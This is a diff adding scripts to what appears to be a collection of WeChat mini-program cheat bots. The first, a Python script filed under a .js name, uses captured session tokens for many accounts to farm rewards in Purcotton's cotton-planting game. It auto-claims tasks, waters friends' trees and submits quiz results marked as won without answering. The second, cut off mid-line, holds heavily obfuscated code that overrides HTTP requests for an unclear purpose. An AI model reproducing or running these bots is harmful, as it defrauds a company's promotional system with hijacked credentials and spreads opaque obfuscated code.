+// # Path: 全棉时代.js +// # UploadedAt: 2025-06-28T11:18:42+08:00 +// # SHA256: 78833e2a1ea602df34a3a8b99a3962eb2e64253bcc8b9f455461d25bef894e29 +// # Category: 微信小程序/抓包版 +// # Evidence: appid/openid/session_key/encryptedData等小程序字段 +// + +""" + + >TL库:https://github.com/3288588344/toulu.git + tg频道:https://t.me/TLtoulu + QQ频道:https://pd.qq.com/s/672fku8ge + +项目 全棉时代种棉花 +入口 #小程序://全棉时代 +变量 code #token#备注 多账号换行 +变量名 qmzmh + + +""" + +import os +import requests +from datetime import datetime, timezone, timedelta +import json +import time +import random + + +# 配置参数 +base_url = "https://hxxxy.gov.cn" +user_agent = "Mozilla/5.0 (Linux; Android 11; ONEPLUS A6000 Build/RKQ1.201217.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/116.0.0.0 Mobile Safari/537.36 XWEB/1160065 MMWEBSDK/20231201 MMWEBID/2930 MicroMessenger/8.0.45.2521(0x28002D3D) WeChat/arm64 Weixin NetType/WIFI Language/zh_CN ABI/arm64 miniProgram/wxdfcaa44b1aa891a7" + +def get_beijing_date(): + beijing_time = datetime.now(timezone(timedelta(hours=8))) + return beijing_time.date() + +def dq_time(): + dqsj = int(time.time()) + dysj = datetime.fromtimestamp(dqsj).strftime('%Y-%m-%d %H:%M:%S') + print("当前时间戳:", dqsj) + print("转换后的时间:", dysj) + return dqsj, dysj + +def get_env_variable(var_name): + value = os.getenv(var_name) + if value is None: + print(f'环境变量{var_name}未设置,请检查。') + return None + accounts = value.strip().split('\n') + print(f'-----------本次账号运行数量:{len(accounts)}-----------') + print(f'------全棉时代种棉花-----1.2------') + return accounts + +def create_headers(code, token): + headers = { + 'host': 'sg01.purcotton.com', + 'accept': 'application/json, text/plain, */*', + 'app-id': 'wxdfcaa44b1aa891a7', + 'user-agent': user_agent, + 'content-type': 'application/json;charset=UTF-8', + 'origin': 'https://sg01.purcotton.com', + 'x-requested-with': 'com.tencent.mm', + 'sec-fetch-site': 'same-origin', + 'sec-fetch-mode': 'cors', + 'sec-fetch-dest': 'empty', + 'accept-encoding': 'gzip, deflate', + 'accept-language': 'zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7', + 'cookie': 'sajssdk_2015_cross_new_user=1', + 'code': code, + 'token': token, + } + return headers + + +def jscz(code, token): # 浇水 + # 调用hqid函数并获取树木ID及其他信息 + tree_id, sunshine, total_sunshine = hqid(code, token) + + if tree_id is not None: + #print(f"获得的树木ID: {tree_id}") + # 可以在这里打印阳光信息,如果需要 + #print(f"当前阳光: {sunshine}, 总阳光: {total_sunshine}") + + while True: # 开始一个无限循环 + url = "https://sg01.purcotton.com/api/watering" + data = {"tree_user_id": tree_id, "water_cnt": 1} # 使用动态获取的树木ID + headers = create_headers(code, token) + #print(data) + try: + response = requests.post(url, headers=headers, json=data) + response.raise_for_status() + response_data = response.json() + + if response_data.get("code") == 200: + # 提取剩余水滴数 + remaining_water = response_data["data"]["info"]["sy_water"] + print(f"剩余水滴数: {remaining_water}") + + # 根据剩余水滴数决定是否继续 + if remaining_water < 30: # 如果剩余水滴数小于30,则停止 + print("水滴不足,停止浇水。") + break + + print("执行浇水操作...") + # 暂停1到3秒 + time.sleep(random.randint(1, 3)) + + elif response_data.get("code") == 400: + print(response_data.get("msg", "未知错误")) + break # 遇到错误时停止循环 + else: + print("未知的响应code:", response_data.get("code")) + print("完整响应:", response_data) + break # 如果响应码不是200或400,停止循环 + + except requests.exceptions.RequestException as e: + print(f"请求失败: {e}") + break # 请求异常时停止循环 + else: + print("未能获取树木ID,无法执行浇水操作。") + + +def llhmp(code, token, action, tid): # 添加了tid参数 + phone, _ = login(code, token) # 调用login函数,获取电话号码,忽略user_id + + url = "https://nmp.pureh2b.com/api/purcotton/completetask" + headers = { + 'Host': 'nmp.pureh2b.com', + 'XWeb-Xhr': '1', + 'Accept-Encoding': 'gzip, deflate, br', + 'Accept-Language': 'zh-CN,zh;q=0.9', + 'code': code, + 'token': token, + } + data = { + 'action': action, + 'phone': phone, + 'from': 'guoyuan' + } + #print(data) + + try: + response = requests.post(url, headers=headers, data=data) + response.raise_for_status() + response_data = response.json() # 解析响应数据为JSON + + action_descriptions = { + 'browse_venue': '逛甄选好棉品', + 'browse_new_user_zone': '浏览新用户专区', + 'browse_community': '社区送福利', + 'subscibe': '订阅奖励提醒' + + } + action_description = action_descriptions.get(action, '执行任务') + + #print(f"执行任务 '{action_description}' 响应内容:", response.text) # 打印响应内容 + + if response_data.get("code") == 200: + print(f"{action_description} 任务成功,暂停一段时间再继续...") + time.sleep(random.randint(15, 20)) + tjlq_mpjl(code, token, tid) # 在任务成功后调用领取奖励的函数 + elif response_data.get("code") == 400: + #print() # 打印响应内容 + print(f"{action_description} :{response_data.get('msg')}") + #tjlq_mpjl(code, token, tid) # 在任务成功后调用领取奖励的函数 + else: + print("{action_description} 收到未预期的响应,响应内容如下:") + print(response_data) + + except requests.exceptions.RequestException as e: + print(f"请求失败: {e}") + +def tjlq_mpjl(code, token, tid): # 添加了tid参数来指定任务ID 提交 任务 领取奖励 + url = "https://sg01.purcotton.com/api/task/receive-task-water" + headers = create_headers(code, token) + data = {"tid": tid} # 使用传入的任务ID + #print(data) + try: + response = requests.post(url, headers=headers, json=data) # 发送POST请求 + response.raise_for_status() # 检查响应状态码 + + # 解析响应数据 + response_data = response.json() + if response_data.get("code") == 200: + print("奖励领取成功。") + # 打印sy_water和get_water + data = response_data.get("data", {}) + sy_water = data.get("sy_water", "未知") # + get_water = data.get("get_water", "未知") # 同上 + print(f"剩余水量:{sy_water}, 获取水量:{get_water}") + else: + print(f"奖励领取失败,错误信息:{response_data.get('msg')}") + except requests.exceptions.RequestException as e: + print(f"请求失败: {e}") + +def task_list(code, token): # 任务列表 + url = "https://sg01.purcotton.com/api/task/list" + headers = create_headers(code, token) + today_date = datetime.now().strftime("%Y-%m-%d") # 获取今天的日期,格式为YYYY-MM-DD + + # 任务ID到任务名称的映射 + task_names = { + 1: "签到, 1", + 2: "不知道1, 0", + 4: "三餐福袋, 3", + 6: "逛甄选好棉品, 4", + 10: "订阅奖励提醒, 1", + 13: "浏览新用户, 2", + 14: "庄园小课堂, 3", + 15: "棉花工厂, 1", + 16: "社区送福利, 1" + } + + try: + response = requests.get(url, headers=headers) + response.raise_for_status() + response_data = response.json() + today_tasks = [] # 用于存储今天的任务信息 + if response_data.get("code") == 200: + task_user_info = response_data.get("data", {}).get("task_user_info", []) + print("------任务进度条-----------") + for task in task_user_info: + task_id = task.get('task_id') + complete_num = task.get('complete_num') + complete_date = task.get('complete_date') + # 比较任务完成日期是否为今天 + #print("------任务进度条-----------") + if complete_date == today_date: + task_name = task_names.get(task_id, f"未知任务 {task_id}") # 获取任务名称,如果未知则显示未知任务和ID + + print(f"任务ID: {task_id} {task_name}/{complete_num}, 任务时间: {complete_date}") + #print(f"{task_name}/{complete_num} 时间: {complete_date}") + today_tasks.append(task) + print("-----------------") + print() + return today_tasks + + else: + print(f"获取任务列表失败,错误信息:{response_data.get('msg')}") + return [] + except requests.exceptions.RequestException as e: + print(f"请求失败: {e}") + return [] + + + +def pdrw(code, token): # 判断任务 + """根据任务完成情况执行任务""" + try: + task_user_info = task_list(code, token) + + task_completion_limits = { + 6: 4,# 任务ID为6的任务只能完成4次 逛甄选好棉品 + 13: 2, # 任务ID为13的任务只能完成2次 浏览新用户专区 + 15: 1, # 假设任务ID为15的任务只能完成1次 棉花工厂 + 4: 3, # 4 3次三餐福袋 7-12 14-17 18-22 + 16: 1, # ID 16 社区送福利 + 10: 1, # ID 10 订阅奖励提醒 + 14: 1, #ID14 #庄园小课堂 + 1: 1, #ID #签到 + } + + # 先检查所有指定的任务是否已经存在于任务列表中 + existing_task_ids = [task['task_id'] for task in task_user_info] + #print(existing_task_ids) + # 遍历每个任务ID,检查是否需要执行任务 + for task_id, max_completes in task_completion_limits.items(): + task_info = next((task for task in task_user_info if task['task_id'] == task_id), None) + + if task_info: + complete_num = task_info['complete_num'] + if complete_num < max_completes: + #print(f"任务ID: {task_id}, 当前完成次数: {complete_num}, 将执行任务并尝试领取奖励。") + print() + if task_id == 6: + llhmp(code, token, 'browse_venue', '6') + #today_water(code, token) + elif task_id == 13: + llhmp(code, token, 'browse_new_user_zone', '13') + today_water(code, token) + sj_yg(code, token)#收集阳光 + syyg(code, token)#使用阳光 + # 这里可以添加其他任务ID的逻辑 + elif task_id == 15: + # 对于任务ID 15的特定处理 + complete_task(code, token, '15') + elif task_id == 16: + llhmp(code, token, 'browse_community', '16') + + elif task_id == 10: + llhmp(code, token, 'subscibe', '10') + elif task_id == 14: + hdwt_box(code, token, '14') + elif task_id == 4: + # 对于任务ID 15的特定处理 + lq_fd(code, token, '4') + + elif task_id == 1: + lq_fd(code, token, '1') + time.sleep(random.randint(1, 5)) + + + elif task_id not in existing_task_ids: + #print(f"任务ID: {task_id}, 未在列表中,将尝试执行并领取奖励。") + print() + if task_id == 6: + llhmp(code, token, 'browse_venue', '6') + today_water(code, token) + elif task_id == 13: + llhmp(code, token, 'browse_new_user_zone', '13') + sj_yg(code, token)#收集阳光 + syyg(code, token)#使用阳光 + elif task_id == 15: + complete_task(code, token, '15') + elif task_id == 16: + llhmp(code, token, 'browse_community', '16') + elif task_id == 10: + llhmp(code, token, 'subscibe', '10') + elif task_id == 14: + hdwt_box(code, token, '14') + elif task_id == 1: + lq_fd(code, token, '1') + + elif task_id == 4: + lq_fd(code, token, '4') + + + time.sleep(random.randint(1, 5)) + + + + + # 添加其他任务ID和类型的逻辑 + + except requests.exceptions.RequestException as e: + print(f"请求失败: {e}") + + + + + +# 任务 数据 +def complete_task(code, token, tid): # 棉花工厂 + url = "https://sg01.purcotton.com/api/task/complete-manual-task" + headers = create_headers(code, token) + payload = { + "tid": tid, + "relate_id": 0, + } + + try: + response = requests.post(url, headers=headers, json=payload) + response.raise_for_status() # 检查HTTP响应状态码,如果不是200系列,则抛出异常 + + # 解析响应数据 + response_data = response.json() + if response_data.get("code") == 200: + print("奖励领取成功。") + tjlq_mpjl(code, token, tid) + else: + # 如果响应中的code不是200,打印错误信息 + print(f"任务失败:{response_data.get('msg')}") + except requests.exceptions.RequestException as e: + # 如果请求过程中发生异常,打印异常信息 + print(f"请求失败: {e}") + + +def lq_fd(code, token, tid): # 三餐福袋和签到 + # 确保tid为整数类型 + tid = int(tid) # 将tid转换为整型以确保与整数进行比较 + + task_name = "未知任务" + if tid == 4: + task_name = "三餐福袋" #7-12 14-17 18-22 + elif tid == 1: + task_name = "签到" + + url = "https://sg01.purcotton.com/api/task/complete-task" + headers = create_headers(code, token) + data = {"tid": tid} # 使用传入的任务ID + try: + response = requests.post(url, headers=headers, json=data) + response.raise_for_status() # 检查响应状态码 + + # 解析响应数据 + response_data = response.json() + if response_data.get("code") == 200: + print(f"{task_name} 奖励领取成功。") + # 打印sy_water和get_water + data = response_data.get("data", {}) + sy_water = data.get("sy_water", "未知") + get_water = data.get("get_water", "未知") + print(f"{task_name} 剩余水量:{sy_water}, 获取水量:{get_water}") + else: + print(f"{task_name}:{response_data.get('msg')}") + except requests.exceptions.RequestException as e: + print(f"请求失败: {e}") + +# 任务 完 + +# 提取数据 开始 + +def hqid(code, token): # 获取树木ID和阳光信息 + url = "https://sg01.purcotton.com/api/index" + + headers = create_headers(code, token) + + try: + response = requests.get(url, headers=headers) + response.raise_for_status() + + response_data = response.json() + # print("Response JSON:", response_data) # 用于调试 + + if response_data.get("code") == 200: + tree_data = response_data['data']['tree'] + user_data = response_data['data']['user'] # 获取用户相关数据 + + # 获取树木ID + tree_id = tree_data.get('id') + + # 获取阳光相关数据 + sunshine = user_data.get('sunshine', 0) # 如果不存在,则默认为0 + total_sunshine = user_data.get('total_sunshine', 0) # 如果不存在,则默认为0 + + # 可以选择打印这些信息 + #print(f"树木ID: {tree_id} 当前阳光: {sunshine} 总阳光: {total_sunshine} ") + + + # 根据需要返回所需的数据,这里返回一个包含所有信息的元组 + return tree_id, sunshine, total_sunshine + else: + print(f"请求失败,错误代码: {response_data.get('code')}, 错误信息: {response_data.get('msg')}") + return None, None, None # 如果请求失败,返回包含None的元组 + except requests.exceptions.RequestException as e: + print(f"请求失败: {e}") + return None, None, None # 如果发生异常,返回包含None的元组 + + +def login(code, token): # 提取的号码 + url = "https://sg01.purcotton.com/api/login" + headers = create_headers(code, token) + data = { + "invite_source": "task", + "channel": "" # "channel": "zmh_assist" + } + + try: + response = requests.post(url, headers=headers, json=data) + response.raise_for_status() # 检查HTTP响应状态 + + response_data = response.json() + if response_data.get("code") == 200: + phone = response_data["data"]["phone"] + user_id = response_data["data"]["id"] # 提取id + #print("提取的电话号码:", phone) + #print("提取的用户ID:", user_id) # 打印id + return phone, user_id # 返回电话号码和用户ID + else: + print("请求失败,错误代码:", response_data.get("code"), "错误信息:", response_data.get("msg")) + return None, None + except requests.exceptions.RequestException as e: + print(f"请求失败: {e}") + return None, None + +# 提取数据 完 + +# 回答问题 +def hdwt_box(code, token, tid): #庄园小课堂 + url = "https://sg01.purcotton.com/api/answer" + headers = create_headers(code, token) + + try: + response = requests.get(url, headers=headers) + response.raise_for_status() + response_data = response.json() + exams = response_data.get("data", {}).get("exams", []) + #print(response.json()) + for exam in exams: + exam_id = exam.get('id') + print(f"正在处理问题ID: {exam_id}") + + # 这里是你提交答案的代码逻辑 + url_submit_answer = "https://sg01.purcotton.com/api/answer/complete" + payload = { + "tid": tid, # 假设任务ID为14 + "exam_id": exam_id, + "win": 1 # 假设标记为正确 + } + submit_response = requests.post(url_submit_answer, headers=headers, json=payload) + submit_response.raise_for_status() + + if submit_response.status_code == 200: + submit_response_data = submit_response.json() + #print(submit_response_data) # 打印完整的响应体 + + # 提取并打印get_water, complete_num, 和 box_id + get_water = submit_response_data.get("data", {}).get("get_water", 0) + complete_num = submit_response_data.get("data", {}).get("complete_num", 0) + box_id = submit_response_data.get("data", {}).get("box_id", 0) + print(f"获取水量:{get_water}, 完成数量:{complete_num}, 宝箱ID:{box_id}") + + # 如果box_id大于0,则打开宝箱 + if box_id > 0: + print(f"检测到宝箱ID: {box_id},尝试打开宝箱...") + url_open_box = "https://sg01.purcotton.com/api/answer/open-box" + box_payload = {"box_id": box_id} + box_response = requests.post(url_open_box, headers=headers, json=box_payload) + box_response.raise_for_status() + + if box_response.status_code == 200: + box_response_data = box_response.json() + # print(f"宝箱 {box_id} 打开成功,响应内容:", box_response_data) + # 提取sy_water和get_water + sy_water = box_response_data.get("data", {}).get("sy_water", 0) + get_water = box_response_data.get("data", {}).get("get_water", 0) + print(f"宝箱 剩余水量:{sy_water}, 宝箱水量:{get_water}") + + + # 随机停止3-5秒 + time.sleep(random.randint(3, 5)) + except requests.exceptions.RequestException as e: + print(f"请求失败: {e}") + + +def today_water(code, token):# + url = "https://sg01.purcotton.com/api/get-today-water" + headers = create_headers(code, token) # 确保 create_headers 函数正确定义并返回所需的头部信息 + + try: + response = requests.post(url, headers=headers) + response.raise_for_status() # 确保响应状态为200 + + # 解析响应体为JSON + response_data = response.json() + + # 检查响应中的code字段 + if response_data.get("code") == 200: + #print("完整响应体:", response_data) # 打印完整的响应体 + + # 提取所需数据 + sy_water = response_data.get("data", {}).get("sy_water", "未知") + get_water = response_data.get("data", {}).get("get_water", "未知") + tomorrow_get_water_num = response_data.get("data", {}).get("tomorrow_get_water_num", "未知") + + #print(f"剩余水量(sy_water): {sy_water}") + print(f"今日获取水量: {get_water}") + print(f"明日可获取水量: {tomorrow_get_water_num}") + print(f"今日获取水量: {get_water} 明日可获取水量: {tomorrow_get_water_num}") + else: + # 打印错误消息 + print(f"水瓶 {response_data.get('msg', '未知错误')}") + + except requests.exceptions.RequestException as e: + print(f"请求失败: {e}") + +def cscscs(code, token): + url = "https://sg01.purcotton.com/api/statistics/store" + headers = create_headers(code, token) + _, user_id = login(code, token) # 调用login函数,忽略电话号码,只获取user_id + data = { + "uid": user_id, + "type": 301 # 确保这里的值符合API的要求 + } + #print(data) # 打印整个响应数据 + try: + response = requests.post(url, headers=headers, json=data) + response.raise_for_status() # 检查HTTP响应状态 + + response_data = response.json() + #print(response_data) # 打印整个响应数据 + except requests.exceptions.RequestException as e: + print(f"请求失败: {e}") + +# 阳光 + +def sj_yg(code, token): + success = False + while not success: + url = "https://sg01.purcotton.com/api/get-sunshine" + headers = create_headers(code, token) + # 使用当前时间戳 + payload = {"time": int(time.time() * 1000)} + #print(f"请求负载: {payload}") + + try: + response = requests.post(url, headers=headers, json=payload) + response_data = response.json() + + if response.status_code == 200: + if response_data["code"] == 200: + sy_sunshine = response_data['data'].get('sy_sunshine') + get_sunshine = response_data['data'].get('get_sunshine') + print(f"成功领取阳光: 剩余阳光: {sy_sunshine}, 获得阳光: {get_sunshine}") + success = True # 标记成功领取,退出循环 + elif response_data["code"] == 400: + print("没有可领取的阳光") + break # 如果没有可领取的阳光,跳出循环 + else: + print(f"阳光操作响应: {response_data}") + else: + print(f"请求失败,HTTP状态码: {response.status_code}") + + except requests.exceptions.RequestException as e: + print(f"请求失败: {e}") + + if success: + # 如果成功领取阳光,则暂停1到3秒后继续 + sleep_time = random.randint(1, 3) + print(f"暂停{sleep_time}秒后重新领取...") + time.sleep(sleep_time) + success = False # 重置成功标志,继续领取 + +def syyg(code, token): + """当阳光值大于100时,完成阳光任务""" + # 假设hqid返回树木ID,sunshine,和其他信息 + _, sunshine, _ = hqid(code, token) + + if sunshine > 99: + url = "https://sg01.purcotton.com/api/sunshine-task/complete-task" + headers = create_headers(code, token) # 使用create_headers函数创建请求头 + payload = {"tid": 1} # 固定payload,可能需要根据API文档调整 + + try: + response = requests.post(url, headers=headers, json=payload) + response.raise_for_status() # 检查响应是否成功 + + response_data = response.json() + if response_data.get("code") == 200: + print("成功完成阳光任务。") + # 这里可以根据响应体进一步处理,如打印信息或记录日志 + else: + print(f"完成阳光任务失败,错误代码: {response_data.get('code')}, 错误信息: {response_data.get('msg')}") + except requests.exceptions.RequestException as e: + print(f"请求完成阳光任务时出错: {e}") + else: + print(f"阳光值未达到{sunshine}/100,不执行任务。") + + + + + +# 好友? + + +def hyid(code, token): + url = "https://sg01.purcotton.com/api/friend/list?page=1&page_size=50" + headers = create_headers(code, token) + + try: + response = requests.get(url, headers=headers) + response.raise_for_status() # 确保响应状态为200 + + # 解析响应体为JSON + response_data = response.json() + + friend_user_ids = [] # 用于存储符合条件的朋友的用户ID + if response_data.get("code") == 200: + friends_list = response_data.get("data", {}).get("list", []) + for friend in friends_list: + friend_user_id = friend.get("friend_user_id") + help_water_cnt = friend.get("help_water_cnt") + be_help_water_cnt = friend.get("friend_user_info", {}).get("be_help_water_cnt") + #print(f"朋友用户ID: {friend_user_id}, 帮忙浇水次数: {help_water_cnt}, 被帮忙浇水次数: {be_help_water_cnt}") + + # 只有当帮忙浇水次数小于1时,才收集该朋友的用户ID + if help_water_cnt < 1: + friend_user_ids.append(friend_user_id) + + return friend_user_ids # 返回所有符合条件收集到的用户ID + else: + print("请求失败,错误代码:", response_data.get("code"), "错误信息:", response_data.get("msg")) + + except requests.exceptions.RequestException as e: + print(f"请求失败: {e}") + + + +def access_friend_detail(code, token, friend_user_id): + """访问朋友的详细信息,并尝试对其树进行浇水操作""" + url = "https://sg01.purcotton.com/api/friend/index" + headers = create_headers(code, token) + headers['friend-id'] = str(friend_user_id) + + try: + response = requests.get(url, headers=headers) + response.raise_for_status() + response_data = response.json() + + if response_data.get("code") == 200: + tree_info = response_data.get('data', {}).get('tree', {}) + if isinstance(tree_info, list) and tree_info: + tree_info = tree_info[0] + + tree_id = tree_info.get('id') if isinstance(tree_info, dict) else None + help_water_info = response_data.get('data', {}).get('help_water', {}) + help_water_code = help_water_info.get('code') + help_water_msg = help_water_info.get('msg') + + #print(f"{friend_user_id}朋友树ID: {tree_id}, 帮忙浇水代码: {help_water_code}, 信息: '{help_water_msg}'") + + if tree_id is not None: + success = water_friend_tree(code, token, tree_id, friend_user_id) + if not success: + print(f"由于操作失败,停止处理朋友{friend_user_id}的后续操作。") + return False + else: + print(f"获取朋友{friend_user_id}的详细信息失败,错误代码: {response_data.get('code')}, 错误信息: {response_data.get('msg')}") + return False + + except requests.exceptions.RequestException as e: + print(f"请求失败: {e}") + return False + + return True + +def water_friend_tree(code, token, tree_id, friend_user_id): + """执行给定朋友的树浇水操作""" + url = "https://sg01.purcotton.com/api/friend/water" + headers = create_headers(code, token) + payload = {"tree_user_id": tree_id} + headers['friend-id'] = str(friend_user_id) + + try: + response = requests.post(url, headers=headers, json=payload) + response.raise_for_status() + + response_data = response.json() + #print(response_data) # 打印整个响应体,用于调试 + + if response_data["code"] == 200: + # 检查response_data['data']是否为字典,以此判断是否可以安全访问'info' + if isinstance(response_data['data'], dict): + use_water = response_data['data']['info'].get('use_water', '未知') + reward_water = response_data['data']['info'].get('reward_water', '未知') + print(f"对树ID {tree_id} 的浇水操作成功: 使用水量: {use_water}, 奖励水量: {reward_water}") + else: + # 如果data不是字典,直接打印data字段,这里可能是错误消息或其他说明 + print(f"操作结果: {response_data['data']}") + return False + elif response_data["code"] == 400: + #print(f"{response_data.get('msg', '未知错误')}. 完整响应体: {response_data}") + print(f"{response_data.get('msg', '未知错误')}. ") + return False + else: + print(f"对树ID {tree_id} 的浇水操作响应: {response_data}") + return False + + except requests.exceptions.RequestException as e: + print(f"请求失败: {e}") + return False + + return True + +def process_all_friends(friends_user_ids, code, token): + """遍历朋友列表,尝试对每个朋友的树进行浇水操作,并在首次失败时停止""" + for friend_user_id in friends_user_ids: + if not access_friend_detail(code, token, friend_user_id): + #print(f"由于操作失败,停止对所有后续朋友的处理。") + break # 遇到第一个失败,立即跳出循环 + + + +def main(): + var_name = 'qmzmh' + tokens = get_env_variable(var_name) + if not tokens: + return + + total_tokens = len(tokens) + + if total_tokens > 20: + print("账号数量超过20个,不执行操作。") + return + + + for index, token_info in enumerate(tokens, start=1): + parts = token_info.split('#') + if len(parts) < 2: + print("令牌格式不正确。跳过处理。") + continue + + code = parts[0] + token = parts[1] + remark = parts[2] if len(parts) > 2 else "" + print() + print(f"------账号{index}/{total_tokens},备注: {remark}-------") + + phone, user_id = login(code, token) + if phone and user_id: # 检查是否成功获取电话号码和用户ID + # 进行后续任务 + cscscs(code, token) + #sj_yg(code, token)#收集阳光 + #syyg(code, token)#使用阳光 + jscz(code, token) #浇水 + pdrw(code, token) #任务判断 + friend_user_ids = hyid(code, token) + if friend_user_ids: + process_all_friends(friend_user_ids, code, token) # 正确传入朋友ID列表 + else: + print("登录失败或获取用户信息失败,跳过当前账号的后续操作。") + + + +if __name__ == "__main__": + main() + +''' +def main(): + var_name = 'qmzmh' + tokens = get_env_variable(var_name) + if not tokens: + return + + total_tokens = len(tokens) + + if total_tokens > 20: + print("账号数量超过20个,不执行操作。") + return + + for index, token_info in enumerate(tokens, start=1): + parts = token_info.split('#') + if len(parts) < 2: + print("令牌格式不正确。跳过处理。") + continue + + code = parts[0] + token = parts[1] + remark = parts[2] if len(parts) > 2 else "" + + print(f"------账号{index}/{total_tokens},备注: {remark}-------") + + + login(code, token)#判断要手机号码/提取的电话号码: 才运行下面的任务 + cscscs(code, token)#更新 + #sj_yg(code, token)#收集阳光 + #syyg(code, token)#使用阳光 + jscz(code, token) #浇水 + pdrw(code, token) #任务判断 + friend_user_ids = hyid(code, token) + if friend_user_ids: + process_all_friends(friend_user_ids, code, token) # 正确传入朋友ID列表 + + + +if __name__ == "__main__": + main() +''' \ No newline at end of file diff --git a/脚本库/微信小程序/抓包版/兴攀农场/2025-08-25_xpnc_5f222c85.js b/脚本库/微信小程序/抓包版/兴攀农场/2025-08-25_xpnc_5f222c85.js new file mode 100644 index 0000000..ea0af55 --- /dev/null +++ b/脚本库/微信小程序/抓包版/兴攀农场/2025-08-25_xpnc_5f222c85.js @@ -0,0 +1,453 @@ +// # Source: https://github.com/imoki/sign_script/blob/main/polymerization/xpnc.js +// # Raw: https://raw.githubusercontent.com/imoki/sign_script/main/polymerization/xpnc.js +// # Repo: imoki/sign_script +// # Path: polymerization/xpnc.js +// # UploadedAt: 2025-08-25T21:29:14+08:00 +// # SHA256: 5f222c850c676d4dcacef68789330db2b8e79dbc011d2bad6385aa5864814e0b +// # Category: 微信小程序/抓包版 +// # Evidence: appid/openid/session_key/encryptedData等小程序字段 +// + +/* + name: "兴攀农场" + cron: 45 0 9 * * * + 脚本兼容: 金山文档(1.0),金山文档(2.0) + 更新时间:20241226 + 环境变量名:xpnc + 环境变量值:小程序的包中的Authorization +*/ + +const logo = "艾默库 : https://github.com/imoki/sign_script" // 仓库地址 +var sheetNameSubConfig = "xpnc"; // 分配置表名称, (修改这里) +var pushHeader = "【兴攀农场】"; // (修改这里) +var sheetNameConfig = "CONFIG"; // 总配置表 +var sheetNamePush = "PUSH"; // 推送表名称 +var sheetNameEmail = "EMAIL"; // 邮箱表 +var flagSubConfig = 0; // 激活分配置工作表标志 +var flagConfig = 0; // 激活主配置工作表标志 +var flagPush = 0; // 激活推送工作表标志 +var line = 21; // 指定读取从第2行到第line行的内容 +var message = ""; // 待发送的消息 +var messageArray = []; // 待发送的消息数据,每个元素都是某个账号的消息。目的是将不同用户消息分离,方便个性化消息配置 +var messageOnlyError = 0; // 0为只推送失败消息,1则为推送成功消息。 +var messageNickname = 0; // 1为推送位置标识(昵称/单元格Ax(昵称为空时)),0为不推送位置标识 +var messageHeader = []; // 存放每个消息的头部,如:单元格A3。目的是分离附加消息和执行结果消息 +var messagePushHeader = pushHeader; // 存放在总消息的头部,默认是pushHeader,如:【xxxx】 +var version = 1 // 版本类型,自动识别并适配。默认为airscript 1.0,否则为2.0(Beta) +var separator = "##########MOKU##########" // 分割符,分割消息。可用于PUSH.js灵活推送 +var maxMessageLength = 400; // 设置最大长度,超过这个长度则分片发送 +var messageDistance = 100; // 消息距离,用于匹配100字符内最近的行 + +var jsonPush = [ + { name: "bark", key: "xxxxxx", flag: "0" }, + { name: "pushplus", key: "xxxxxx", flag: "0" }, + { name: "ServerChan", key: "xxxxxx", flag: "0" }, + { name: "email", key: "xxxxxx", flag: "0" }, + { name: "dingtalk", key: "xxxxxx", flag: "0" }, + { name: "discord", key: "xxxxxx", flag: "0" }, +]; // 推送数据,flag=1则推送 +var jsonEmail = { + server: "", + port: "", + sender: "", + authorizationCode: "", +}; // 有效邮箱配置 + +// =================青龙适配开始=================== + +// 艾默库青龙适配代码 +// v2.6.2 + +try{ + var userContent=[[")\u4E2A02\u8BA4\u9ED8(eikooc".split("").reverse().join(""),")\u5426/\u662F(\u884C\u6267\u5426\u662F".split("").reverse().join(""),")\u5199\u586B\u4E0D\u53EF(\u79F0\u540D\u53F7\u8D26".split("").reverse().join("")]];var configContent=[["\u5de5\u4f5c\u8868\u7684\u540d\u79f0","\u6CE8\u5907".split("").reverse().join(""),"\u53ea\u63a8\u9001\u5931\u8d25\u6d88\u606f\uff08\u662f\u002f\u5426\uff09","\u63a8\u9001\u6635\u79f0\uff08\u662f\u002f\u5426\uff09"],[sheetNameSubConfig,pushHeader,"\u5426","\u662f"]];var qlpushFlag=0xed2aa^0xed2aa;var qlSheet=[];var colNum=["\u0041",'B','C',"\u0044","\u0045",'F',"\u0047","\u0048","\u0049",'J','K','L','M','N',"\u004f","\u0050",'Q'];qlConfig={'CONFIG':configContent,"\u0053\u0055\u0042\u0043\u004f\u004e\u0046\u0049\u0047":userContent};var posHttp=0xee242^0xee242;var flagFinish=0x31353^0x31353;var flagResultFinish=0xc6811^0xc6811;var HTTPOverwrite={'get':function get(_0x8a99d9,_0x350907){_0x350907=_0x350907['headers'];let _0x1f12ec=userContent['length']-qlpushFlag;method='get';resp=fetch(_0x8a99d9,{"\u006d\u0065\u0074\u0068\u006f\u0064":method,"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x350907})["\u0074\u0068\u0065\u006e"](function(_0x2c1fb0){return _0x2c1fb0["\u0074\u0065\u0078\u0074"]()['then'](_0xb09c64=>{return{'status':_0x2c1fb0["\u0073\u0074\u0061\u0074\u0075\u0073"],"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x2c1fb0['headers'],"\u0074\u0065\u0078\u0074":_0xb09c64,'response':_0x2c1fb0,"\u0070\u006f\u0073":_0x1f12ec};});})["\u0074\u0068\u0065\u006e"](function(_0x3872ad){try{data=JSON['parse'](_0x3872ad['text']);return{"\u0073\u0074\u0061\u0074\u0075\u0073":_0x3872ad["\u0073\u0074\u0061\u0074\u0075\u0073"],'headers':_0x3872ad['headers'],'json':function _0x352161(){return data;},"\u0074\u0065\u0078\u0074":function _0x29f35f(){return _0x3872ad["\u0074\u0065\u0078\u0074"];},"\u0070\u006f\u0073":_0x3872ad["\u0070\u006f\u0073"]};}catch(_0x566df2){return{'status':_0x3872ad['status'],"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x3872ad["\u0068\u0065\u0061\u0064\u0065\u0072\u0073"],"\u006a\u0073\u006f\u006e":null,'text':function _0x2fbf50(){return _0x3872ad['text'];},'pos':_0x3872ad["\u0070\u006f\u0073"]};}})["\u0074\u0068\u0065\u006e"](_0x2c1f58=>{_0x1f12ec=_0x2c1f58["\u0070\u006f\u0073"];flagResultFinish=resultHandle(_0x2c1f58,_0x1f12ec);if(flagResultFinish==(0xdbc9d^0xdbc9c)){i=_0x1f12ec+(0x573c0^0x573c1);for(;i<=line;i++){var _0x1cb220=Application['Range']('A'+i)['Text'];var 